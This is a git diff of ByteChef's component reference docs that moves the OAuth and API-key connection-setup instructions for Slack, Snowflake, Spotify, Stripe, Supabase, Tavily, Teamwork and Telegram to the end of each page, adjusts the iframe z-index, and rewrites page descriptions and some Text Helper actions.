+1. Navigate to [Slack App](https://api.slack.com/apps).
+2. Click on **Create New App**.
+3. Click on **From scratch**.
+4. Enter name of your app and select workspace where it will be installed.
+5. Click on **Create App**.
+6. Click on **Basic Information**
+7. Click on **OAuth & Permissions**.
+8. Click on **Add New Redirect URL**. ByteChef redirect URL: https://127.0.0.1:5173/callback or https://app.bytechef.io/callback.
+9. Click on **Add**.
+10. Click on **Save URLs**.
+11. Click on **Add an OAuth Scope**.
+    - channels:read
+    - channels:write
+    - channels:history
+    - chat:write:bot
+    - groups:read
+    - reactions:read
+    - mpim:read
+    - users:read
+    - incoming-webhook
+12. Under OAuth tokens click on **Install to ...**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/893e27e9-f6f7-4a07-bae8-b08169858c43?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Trigger Setup
 
 ### Enable Event Subscription
@@ -405,6 +395,6 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 23. You can select any event you want to trigger your workflow.
 24. Click on **Save Changes**.
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/c766204a-48a4-4793-b433-7bf10e703b03?type=1&controls=on " width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/snowflake_v1.mdx b/docs/content/docs/reference/components/snowflake_v1.mdx
index 30c14674b90..cef553f92a6 100644
--- a/docs/content/docs/reference/components/snowflake_v1.mdx
+++ b/docs/content/docs/reference/components/snowflake_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Snowflake"
-description: "Snowflake enables organizations to collaborate, build AI-powered data apps, and unlock data insights—all within a secure and scalable AI Data Cloud."
+description: "Snowflake component for ByteChef. Cloud data warehouse. Learn how to implement this in your ByteChef workflows."
+title: Snowflake
 ---
 
-
 Categories: Analytics
 
 
@@ -31,53 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find Account Identifier
-
-1. Navigate to your Snowflake dashboard.
-2. Click on your account in the lower left corner.
-3. Click on **View account details**.
-4. Here you can find your **Account Identifier**.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c86bcbbd-5131-45b3-84a9-2262104ba169?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-
-### Create Security Integration
-
-1. Navigate to your Snowflake dashboard.
-2. Click on **Worksheets**.
-3. Click on **+** to create SQL worksheet.
-4. Paste this into worksheet, just change NAME to the name of your security integration:
-        CREATE SECURITY INTEGRATION NAME
-        TYPE = oauth
-        ENABLED = true
-        OAUTH_CLIENT = custom
-        OAUTH_CLIENT_TYPE = 'CONFIDENTIAL'
-        OAUTH_REDIRECT_URI = 'http://127.0.0.1:5173/callback'
-        OAUTH_ISSUE_REFRESH_TOKENS = TRUE
-        OAUTH_ALLOW_NON_TLS_REDIRECT_URI = true
-        OAUTH_REFRESH_TOKEN_VALIDITY = 86400;
-5. Click on this icon.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/bed6729c-aaa5-4b8b-9901-0ef8f849d6f2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### Find Client ID and Secret
-
-https://docs.snowflake.com/sql-reference/functions/system_show_oauth_client_secrets
-
-1. Navigate to your Snowflake dashboard.
-2. Click on **Worksheets**.
-3. Click on **+** to create SQL worksheet.
-4. Paste this into worksheet, just change NAME to the name of your security integration:
-        select system$show_oauth_client_secrets(NAME)
-5. Run SQL worksheet.
-
 
 
 <hr />
@@ -160,8 +112,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Execute SQL
 Name: executeSql
 
@@ -230,8 +180,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Insert Row
 Name: insertRow
 
@@ -306,8 +254,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Row
 Name: updateRow
 
@@ -386,5 +332,53 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find Account Identifier
+
+1. Navigate to your Snowflake dashboard.
+2. Click on your account in the lower left corner.
+3. Click on **View account details**.
+4. Here you can find your **Account Identifier**.
+
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/c86bcbbd-5131-45b3-84a9-2262104ba169?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
+
 
+### Create Security Integration
 
+1. Navigate to your Snowflake dashboard.
+2. Click on **Worksheets**.
+3. Click on **+** to create SQL worksheet.
+4. Paste this into worksheet, just change NAME to the name of your security integration:
+        CREATE SECURITY INTEGRATION NAME
+        TYPE = oauth
+        ENABLED = true
+        OAUTH_CLIENT = custom
+        OAUTH_CLIENT_TYPE = 'CONFIDENTIAL'
+        OAUTH_REDIRECT_URI = 'http://127.0.0.1:5173/callback'
+        OAUTH_ISSUE_REFRESH_TOKENS = TRUE
+        OAUTH_ALLOW_NON_TLS_REDIRECT_URI = true
+        OAUTH_REFRESH_TOKEN_VALIDITY = 86400;
+5. Click on this icon.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/bed6729c-aaa5-4b8b-9901-0ef8f849d6f2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
+
+### Find Client ID and Secret
+
+https://docs.snowflake.com/sql-reference/functions/system_show_oauth_client_secrets
+
+1. Navigate to your Snowflake dashboard.
+2. Click on **Worksheets**.
+3. Click on **+** to create SQL worksheet.
+4. Paste this into worksheet, just change NAME to the name of your security integration:
+        select system$show_oauth_client_secrets(NAME)
+5. Run SQL worksheet.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/spotify_v1.mdx b/docs/content/docs/reference/components/spotify_v1.mdx
index 4c37a39c3b9..24ff3a412be 100644
--- a/docs/content/docs/reference/components/spotify_v1.mdx
+++ b/docs/content/docs/reference/components/spotify_v1.mdx
@@ -1,10 +1,8 @@
 ---
-title: "Spotify"
-description: "Spotify is a popular music streaming service that offers a vast library of songs, podcasts, and playlists for users to enjoy."
+description: "Spotify component for ByteChef. Music streaming. Learn how to implement this in your ByteChef workflows."
+title: Spotify
 ---
 
-
-
 Type: spotify/v1
 
 <hr />
@@ -28,26 +26,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Spotify to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Spotify OAuth app
-
-1. Go to your [Dashboard](https://developer.spotify.com/dashboard).
-2. Click on the **Create app**.
-3. Enter an app name and description of your choice.
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback`
-5. Select Web API, put a tick in the Developer Terms of Service checkbox and finally click **Save**.
-6. Click **View client secret**.
-7. Copy **Client ID** and **Client Secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/vp2BqlZRtDLYQdewMKaq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -92,8 +70,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Add Items to a Playlist
 Name: addItemsToPlaylist
 
@@ -145,8 +121,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Playlist
 Name: createPlaylist
 
@@ -227,11 +201,32 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Spotify to ByteChef using OAuth 2.0 (Authorization Code).
+
+### Create a Spotify OAuth app
+
+1. Go to your [Dashboard](https://developer.spotify.com/dashboard).
+2. Click on the **Create app**.
+3. Enter an app name and description of your choice.
+4. Add the ByteChef OAuth redirect (callback) URL(s):
+    - Cloud: `https://app.bytechef.io/callback`
+    - Local development: `http://127.0.0.1:5173/callback`
+5. Select Web API, put a tick in the Developer Terms of Service checkbox and finally click **Save**.
+6. Click **View client secret**.
+7. Copy **Client ID** and **Client Secret**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/vp2BqlZRtDLYQdewMKaq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/stability_v1.mdx b/docs/content/docs/reference/components/stability_v1.mdx
index 863eac85537..575a9861c9c 100644
--- a/docs/content/docs/reference/components/stability_v1.mdx
+++ b/docs/content/docs/reference/components/stability_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Stability AI"
-description: "Activating humanity's potential through generative AI. Open models in every modality, for everyone, everywhere."
+description: "Stability component for ByteChef. AI image generation. Learn how to implement this in your ByteChef workflows."
+title: Stability AI
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -109,10 +107,4 @@ Type: OBJECT
   "url" : "",
   "b64Json" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/stripe_v1.mdx b/docs/content/docs/reference/components/stripe_v1.mdx
index e37165ed650..00b9de5235e 100644
--- a/docs/content/docs/reference/components/stripe_v1.mdx
+++ b/docs/content/docs/reference/components/stripe_v1.mdx
@@ -29,21 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find Token
-
-1. Navigate to [Stripe](https://dashboard.stripe.com) dashboard.
-2. Click on **Settings**.
-3. Click on **Developers**.
-4. Click on **Manage API Keys**.
-5. Here you can se your **API Key**.
-6. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f8f1237d-4622-4898-b1f0-a2ba4d66436b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -131,8 +116,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Invoice
 Name: createInvoice
 
@@ -191,8 +174,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -236,7 +217,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Invoice
 Name: newInvoice
 
@@ -278,10 +258,27 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find Token
+
+1. Navigate to [Stripe](https://dashboard.stripe.com) dashboard.
+2. Click on **Settings**.
+3. Click on **Developers**.
+4. Click on **Manage API Keys**.
+5. Here you can se your **API Key**.
+6. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/f8f1237d-4622-4898-b1f0-a2ba4d66436b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/supabase_v1.mdx b/docs/content/docs/reference/components/supabase_v1.mdx
index 2d481468fcb..05e85a8be68 100644
--- a/docs/content/docs/reference/components/supabase_v1.mdx
+++ b/docs/content/docs/reference/components/supabase_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Supabase"
-description: "Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings."
+description: "Supabase component for ByteChef. Backend as service. Learn how to implement this in your ByteChef workflows."
+title: Supabase
 ---
 
-
 Categories: Developer Tools
 
 
@@ -30,37 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find Project URL
-
-1. Navigate to your Supabase dashboard.
-2. Click on the project you want to connect to.
-3. Click on **Project Settings**.
-4. Click on **Data API**.
-5. Click on **Copy**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/3e846e41-7f5a-4cff-997f-d132f1e27d9f?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-
-### Find Project API Key
-
-1. Navigate to your Supabase dashboard.
-2. Click on the project you want to connect to.
-3. Click on **Project Settings**.
-4. Click on **API Keys**.
-5. Click on **API Keys**.
-6. Click on **Create new API keys**.
-7. Click on **Create keys**.
-8. Click here to copy the API key.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/d2885676-bf3f-4641-acf8-4419cfd096c6?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -129,5 +97,37 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find Project URL
 
+1. Navigate to your Supabase dashboard.
+2. Click on the project you want to connect to.
+3. Click on **Project Settings**.
+4. Click on **Data API**.
+5. Click on **Copy**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/3e846e41-7f5a-4cff-997f-d132f1e27d9f?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
 
+
+### Find Project API Key
+
+1. Navigate to your Supabase dashboard.
+2. Click on the project you want to connect to.
+3. Click on **Project Settings**.
+4. Click on **API Keys**.
+5. Click on **API Keys**.
+6. Click on **Create new API keys**.
+7. Click on **Create keys**.
+8. Click here to copy the API key.
+
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/d2885676-bf3f-4641-acf8-4419cfd096c6?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/tavily_v1.mdx b/docs/content/docs/reference/components/tavily_v1.mdx
index 54fa14995bf..357529756c9 100644
--- a/docs/content/docs/reference/components/tavily_v1.mdx
+++ b/docs/content/docs/reference/components/tavily_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Tavily"
-description: "Tavily is an AI-powered search tool designed to help users quickly find accurate, relevant, and up-to-date information from the web."
+description: "Tavily component for ByteChef. AI-powered search. Learn how to implement this in your ByteChef workflows."
+title: Tavily
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -29,17 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://www.tavily.com/.
-2. You can use default API key. To create new API key, click on "+" sign.
-3. Name your key and click Create.
-4. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/SoAkwnI4qTGu8Kqt1BS1?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -120,8 +108,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Extract
 Name: extract
 
@@ -186,11 +172,23 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Login to the dashboard at https://www.tavily.com/.
+2. You can use default API key. To create new API key, click on "+" sign.
+3. Name your key and click Create.
+4. Copy the API key. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/SoAkwnI4qTGu8Kqt1BS1?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/teamwork_v1.mdx b/docs/content/docs/reference/components/teamwork_v1.mdx
index d8df1649ae5..44ea8e321a9 100644
--- a/docs/content/docs/reference/components/teamwork_v1.mdx
+++ b/docs/content/docs/reference/components/teamwork_v1.mdx
@@ -30,26 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find API Token
-
-1. Navigate to your [Teamwork](https://www.teamwork.com/) dashboard.
-2. Click on your account icon.
-3. Click on **Edit my details**.
-4. Click on **API & Mobile**.
-5. Click on **Show your Token**.
-6. Now you can copy your **API Token**.
-7. Exit pop up window.
-8. Click on your account icon.
-9. Click on **Settings**.
-10. Here you can see yore site name.
-11. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/0d42d307-936b-4df5-82ee-d5271d666055?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -116,8 +96,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -177,11 +155,32 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find API Token
+
+1. Navigate to your [Teamwork](https://www.teamwork.com/) dashboard.
+2. Click on your account icon.
+3. Click on **Edit my details**.
+4. Click on **API & Mobile**.
+5. Click on **Show your Token**.
+6. Now you can copy your **API Token**.
+7. Exit pop up window.
+8. Click on your account icon.
+9. Click on **Settings**.
+10. Here you can see yore site name.
+11. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/0d42d307-936b-4df5-82ee-d5271d666055?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/telegram_v1.mdx b/docs/content/docs/reference/components/telegram_v1.mdx
index 6e672cf76cb..c6c5e4f6c5f 100644
--- a/docs/content/docs/reference/components/telegram_v1.mdx
+++ b/docs/content/docs/reference/components/telegram_v1.mdx
@@ -29,23 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create a Telegram Bot and get the Bot Token
-
-1. In Telegram, start a chat with [`BotFather`](https://telegram.me/BotFather).
-2. Send the `/newbot` command and follow the prompts:
-   - Choose a display name (can be changed later).
-   - Choose a unique username that ends with `bot` (e.g., `my_bytechef_bot`).
-3. Copy the Bot Token provided by BotFather (format: `1234567890:AA...`). Keep it secret.
-
-Helpful links:
-- Telegram Bot API: https://core.telegram.org/bots/api
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/Xj4qVoAGKo5eL8kED2gw?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -195,8 +178,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Message
 Name: sendMessage
 
@@ -318,8 +299,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -360,4 +339,23 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create a Telegram Bot and get the Bot Token
+
+1. In Telegram, start a chat with [`BotFather`](https://telegram.me/BotFather).
+2. Send the `/newbot` command and follow the prompts:
+   - Choose a display name (can be changed later).
+   - Choose a unique username that ends with `bot` (e.g., `my_bytechef_bot`).
+3. Copy the Bot Token provided by BotFather (format: `1234567890:AA...`). Keep it secret.
+
+Helpful links:
+- Telegram Bot API: https://core.telegram.org/bots/api
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/Xj4qVoAGKo5eL8kED2gw?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/text-helper_v1.mdx b/docs/content/docs/reference/components/text-helper_v1.mdx
index 1266b767190..29c481b60af 100644
--- a/docs/content/docs/reference/components/text-helper_v1.mdx
+++ b/docs/content/docs/reference/components/text-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Text Helper"
-description: "Helper component which contains operations to help you work with text."
+description: "Text Helper component. Text manipulation operations. Learn how to implement this in your ByteChef workflows."
+title: Text Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -55,46 +54,6 @@ Type: STRING
 
 
 
-
-
-### Change Type
-Name: changeType
-
-`Change the type of the input text to number.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The input text to be changed to a number. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Change Type",
-  "name" : "changeType",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/changeType"
-}
-```
-
-#### Output
-
-
-
-Type: NUMBER
-
-
-
-
-
-
-
-
-
-
 ### Concatenate
 Name: concatenate
 
@@ -133,8 +92,6 @@ Type: STRING
 
 
 
-
-
 ### Contains
 Name: contains
 
@@ -173,70 +130,64 @@ Type: BOOLEAN
 
 
 
+### Extract Content from HTML
+Name: extractContentFromHtml
 
-
-### Escape Characters
-Name: escapeCharacters
-
-`Escape characters in a string, specified in the input.`
+`Extract content from the HTML content.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text in which you want to escape characters. | true |
-| escapeCharacters | Escape Characters | ARRAY <details> <summary> Items </summary> [STRING\($escapeCharacter)] </details> | Characters you want to escape. | true |
+| content | HTML Content | STRING | HTML content to extract content from. | true |
+| querySelector | CSS Selector | STRING | The CSS selector to search for. | true |
+| returnValue | Return Value | STRING <details> <summary> Options </summary> <span title="Get the attribute value like 'class' from an element.">ATTRIBUTE</span>, <span title="Get the HTML content that the element contains.">HTML</span>, <span title="Get the text content of the element.">TEXT</span> </details> | The data to return. | true |
+| attribute | Attribute | STRING | The name of the attribute to return the value of | true |
+| returnArray | Return Array | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | If selected, then extracted individual items are returned as an array. If you don't set this, all values are returned as a single string. | false |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Escape Characters",
-  "name" : "escapeCharacters",
+  "label" : "Extract Content from HTML",
+  "name" : "extractContentFromHtml",
   "parameters" : {
-    "text" : "",
-    "escapeCharacters" : [ "" ]
+    "content" : "",
+    "querySelector" : "",
+    "returnValue" : "",
+    "attribute" : "",
+    "returnArray" : false
   },
-  "type" : "textHelper/v1/escapeCharacters"
+  "type" : "textHelper/v1/extractContentFromHtml"
 }
 ```
 
 #### Output
 
-
-
-Type: STRING
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
 
 
 
 
-### Extract All by Regular Expression
-Name: extractAllRegEx
+### Extract URLs
+Name: extractUrls
 
-`Extract all strings that match a given pattern.`
+`Extract all of the URLs from a given piece of text, returning them as a list.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text on which regular expression will be used on. | true |
-| regularExpression | Regular Expression | STRING | Regular expression that will be used for extracting strings. | true |
+| text | Text | STRING | The text from which to extract URLs. | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Extract All by Regular Expression",
-  "name" : "extractAllRegEx",
+  "label" : "Extract URLs",
+  "name" : "extractUrls",
   "parameters" : {
-    "text" : "",
-    "regularExpression" : ""
+    "text" : ""
   },
-  "type" : "textHelper/v1/extractAllRegEx"
+  "type" : "textHelper/v1/extractUrls"
 }
 ```
 
@@ -260,70 +211,70 @@ Items Type: STRING
 ```
 
 
+### Format Currency
+Name: formatCurrency
 
-
-### Extract Content from HTML
-Name: extractContentFromHtml
-
-`Extract content from the HTML content.`
+`Format currency to the specified denomination.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| content | HTML Content | STRING | The full HTML document or fragment to extract data from. | true |
-| querySelector | CSS Selector | STRING | A CSS selector used to locate the element(s) you want to extract (for example: div.article, a[href], #title). | true |
-| returnValue | Return Value | STRING <details> <summary> Options </summary> <span title="Get the attribute value like 'class' from an element.">ATTRIBUTE</span>, <span title="Get the HTML content that the element contains.">HTML</span>, <span title="Get the text content of the element.">TEXT</span> </details> | Specifies what content should be extracted from the matched element(s). | true |
-| attribute | Attribute | STRING | The name of the HTML attribute to extract from the matched element(s) (for example: href, src, or class). | true |
-| returnArray | Return Array | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | If selected, then extracted individual items are returned as an array. If you don't set this, all values are returned as a single string. | false |
